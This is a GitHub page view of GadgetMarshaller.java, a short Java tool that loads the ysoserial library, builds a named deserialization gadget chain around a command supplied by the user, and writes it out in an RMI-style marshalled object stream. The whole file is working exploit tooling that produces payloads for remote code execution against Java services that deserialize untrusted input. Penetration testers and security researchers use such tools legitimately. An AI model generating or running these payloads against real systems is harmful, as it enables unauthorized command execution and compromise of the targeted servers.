-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathGadgetMarshaller.java
61 lines (54 loc) · 2.43 KB
/
GadgetMarshaller.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import java.io.*;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class GadgetMarshaller {
public static void main(String[] args) throws Exception {
final String ysoserial_path;
final String gadgetName;
final String cmd;
final String outFile;
if (args.length < 3) {
System.out.println("Usage: java GadgetMarshaller /path/to/ysoserial.jar Gadget1 cmd (optional)/path/to/output/file");
return;
} else {
ysoserial_path = args[0];
gadgetName = args[1];
cmd = args[2];
outFile = args.length >= 4 ? args[3] : null;
}
if (!new File(ysoserial_path).exists()) {
System.out.printf("Error: Ysoserial path \"%s\" does not exist.\n", ysoserial_path);
return;
}
URLClassLoader ysoserialLoader = new URLClassLoader(new URL[] {new File(ysoserial_path).toURI().toURL()}, GadgetMarshaller.class.getClassLoader());
Class<?> objectPayloadUtilsClazz = Class.forName("ysoserial.payloads.ObjectPayload$Utils", true, ysoserialLoader);
Method getPayloadClassMethod = objectPayloadUtilsClazz.getDeclaredMethod("getPayloadClass", String.class);
Class<?> gadgetClazz = (Class<?>) getPayloadClassMethod.invoke(null, gadgetName);
Class<?> objectPayloadClazz = Class.forName("ysoserial.payloads.ObjectPayload", true, ysoserialLoader);
Method getObjectMethod = objectPayloadClazz.getDeclaredMethod("getObject", String.class);
Object gadget = getObjectMethod.invoke(gadgetClazz.getDeclaredConstructor().newInstance(), cmd);
MarshalOutputStream mos;
try {
mos = new MarshalOutputStream((outFile == null) ? System.out : new FileOutputStream(outFile));
mos.writeObject(gadget);
mos.flush();
mos.close();
} catch (FileNotFoundException e) {
System.out.println("Error: output file path was not found.");
}
}
static final class MarshalOutputStream extends ObjectOutputStream {
MarshalOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
writeObject(null);
}
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
}